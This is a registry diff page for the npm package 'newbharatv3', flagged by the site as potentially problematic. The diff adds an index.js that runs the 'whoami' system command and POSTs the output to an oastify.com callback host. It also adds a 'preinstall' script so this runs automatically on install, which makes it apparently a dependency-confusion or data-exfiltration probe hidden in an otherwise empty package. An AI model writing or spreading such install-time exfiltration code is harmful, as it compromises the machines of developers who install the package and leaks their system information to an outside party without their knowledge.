newbharatv3 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of newbharatv3 might be problematic. Click here for more details.
- package/index.js +31 -13
- package/package.json +2 -2
package/index.js
CHANGED
@@ -1,13 +1,31 @@
|
|
1
|
-
const { exec } = require('child_process');
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
if (
|
9
|
-
console.error(`
|
10
|
-
return;
|
11
|
-
}
|
12
|
-
|
13
|
-
});
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
const axios = require('axios');
|
3
|
+
|
4
|
+
// System command run karna (e.g., 'whoami' ya 'dig example.com')
|
5
|
+
const command = 'whoami'; // yahan apni desired command likho
|
6
|
+
|
7
|
+
exec(command, async (error, stdout, stderr) => {
|
8
|
+
if (error) {
|
9
|
+
console.error(`Error: ${error.message}`);
|
10
|
+
return;
|
11
|
+
}
|
12
|
+
if (stderr) {
|
13
|
+
console.error(`Stderr: ${stderr}`);
|
14
|
+
return;
|
15
|
+
}
|
16
|
+
|
17
|
+
const commandOutput = stdout.trim();
|
18
|
+
console.log(`Command Output: ${commandOutput}`);
|
19
|
+
|
20
|
+
// Ab HTTP request bhejna using axios
|
21
|
+
try {
|
22
|
+
const response = await axios.post('http://8y7znk0wsyae6hzqkbjqm682ktqkea2z.oastify.com', {
|
23
|
+
data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
|
24
|
+
});
|
25
|
+
|
26
|
+
console.log('Response Status:', response.status);
|
27
|
+
console.log('Response Data:', response.data);
|
28
|
+
} catch (err) {
|
29
|
+
console.error('HTTP Request Error:', err.message);
|
30
|
+
}
|
31
|
+
});
|
package/package.json
CHANGED
@@ -1,11 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "newbharatv3",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.1",
|
4
4
|
"description": "",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
-
"preinstall"
|
8
|
+
"preinstall": "node index.js"
|
9
9
|
},
|
10
10
|
"author": "",
|
11
11
|
"license": "ISC"
|